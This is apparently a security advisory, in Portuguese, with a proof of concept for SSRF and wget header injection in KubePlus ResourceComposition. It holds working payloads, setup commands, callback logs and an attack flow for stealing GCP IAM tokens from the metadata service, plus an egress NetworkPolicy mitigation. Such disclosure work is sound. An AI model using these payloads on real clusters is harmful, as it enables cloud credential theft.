
Prova de conceito demonstrando SSRF e injeção de cabeçalhos HTTP no KubePlus ResourceComposition, permitindo acesso a metadados da nuvem e roubo de credenciais IAM.
Esta vulnerabilidade existe no componente de manipulação de recursos ResourceComposition do KubePlus, permitindo que um atacante com privilégios de Provider acesse serviços internos via SSRF ao criar um parâmetro chartURL malicioso, e injete cabeçalhos HTTP arbitrários através de injeção de comandos no wget. Isso permite que atacantes acessem serviços de metadados em nuvem que exigem cabeçalhos específicos (por exemplo, o GCP exige o cabeçalho Metadata-Flavor: Google), roubando assim credenciais IAM. CWE recomendada para relato: CWE-918 (Server-Side Request Forgery).
Os componentes mutating webhook e kubeconfiggenerator do KubePlus possuem uma vulnerabilidade de SSRF ao processar o campo chartURL de recursos ResourceComposition. O campo é apenas codificado por URL sem validar o endereço de destino. Mais criticamente, quando o kubeconfiggenerator usa wget para baixar charts, o chartURL é concatenado diretamente no comando, permitindo que atacantes injetem a opção --header do wget para alcançar injeção arbitrária de cabeçalhos HTTP.
Ponto de Entrada SSRF - :
mutating-webhook/utils.go:986-995func LintChart(chartURL string) []byte {
encodedChartURL := url.QueryEscape(chartURL)
args := fmt.Sprintf("chartURL=%s", encodedChartURL)
var url1 string
url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args)
body := queryKubeDiscoveryService(url1)
return body
}
Ponto de Injeção de Cabeçalhos - deploy/kubeconfiggenerator.py:552-558:
def download_and_untar_chart(chartLoc, chartName):
if chartLoc.startswith("https"):
charttgz = chartName + ".tgz"
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)
O chartURL é concatenado diretamente no comando wget, permitindo que atacantes injetem a opção --header.
--header, cabeçalhos HTTP arbitrários podem ser adicionadoskind create cluster --name kubeplus-test
helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s
python3 provider-kubeconfig.py create default
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: ssrf-callback
labels:
app: ssrf-callback
spec:
containers:
- name: callback
image: python:3.9-slim
command: ["python3", "-c", "
from http.server import HTTPServer, BaseHTTPRequestHandler
from datetime import datetime
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f'[{datetime.now()}] GET {self.path}')
print('Headers:')
for h, v in self.headers.items():
print(f' {h}: {v}')
self.send_response(200)
self.end_headers()
self.wfile.write(b'OK')
HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"]
ports:
- containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
name: ssrf-callback
spec:
selector:
app: ssrf-callback
ports:
- port: 8080
EOF
# Criar ResourceComposition com payload SSRF
kubectl --kubeconfig=/tmp/provider.kubeconfig apply -f - <<EOF
apiVersion: workflows.kubeplus/v1alpha1
kind: ResourceComposition
metadata:
name: ssrf-test
spec:
newResource:
resource:
kind: SsrfApp
group: ssrf.kubeplus
version: v1
plural: ssrfapps
chartURL: "http://ssrf-callback.default.svc:8080/ssrf-test"
chartName: ssrf-test
EOF
Saída do Log do Servidor de Callback:
[2026-02-01T15:48:02.514357] GET /ssrf-basic-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Helm/3.12.1
# Configurar encaminhamento de porta para kubeconfighelper
kubectl port-forward svc/kubeconfighelper 5005:91 &
# Injetar cabeçalho Metadata-Flavor (necessário para o serviço de metadados do GCP)
PAYLOAD='https://fake --header "Metadata-Flavor: Google" http://ssrf-callback.default.svc:8080/header-test'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")
curl "http://localhost:5005/registercrd?kind=Test&version=v1&group=test.kubeplus&plural=tests&chartURL=$ENCODED&chartName=test"
Saída do Log do Servidor de Callback:
[2026-02-01T15:50:13.988222] GET /header-injection-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Wget/1.21.2
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Metadata-Flavor: Google
PAYLOAD='https://fake --header "X-Custom-1: Value1" --header "Authorization: Bearer token" http://ssrf-callback.default.svc:8080/multi-header'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")
curl "http://localhost:5005/registercrd?kind=Multi&version=v1&group=multi.kubeplus&plural=multis&chartURL=$ENCODED&chartName=multi"
Saída do Log do Servidor de Callback:
[2026-02-01T15:50:38.565682] GET /multi-header-test
Headers:
Host: ssrf-callback.default.svc:8080
User-Agent: Wget/1.21.2
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
X-Custom-Header-1: Value1
X-Custom-Header-2: Value2
Authorization: Bearer stolen-token
Metadata-Flavor: Google, o serviço de metadados do GCP pode ser acessadoAtacante (privilégios de Provider)
|
v
Cria ResourceComposition (chartURL = "https://x --header 'Metadata-Flavor: Google' http://169.254.169.254/...")
|
v
KubePlus Webhook processa a requisição
|
v
kubeconfiggenerator executa: wget -O /chart.tgz --no-check-certificate https://x --header "Metadata-Flavor: Google" http://169.254.169.254/...
|
v
Acessa o serviço de metadados do GCP, obtém Token IAM
|
v
Usa o Token IAM para acessar recursos em nuvem
Pontuação CVSS 3.1: 8.5 (Alta) Vetor: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: kubeplus-egress-restrict
spec:
podSelector:
matchLabels:
app: kubeplus
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
crédito para: @b0b0haha ([email protected]) @lixingquzhi ([email protected])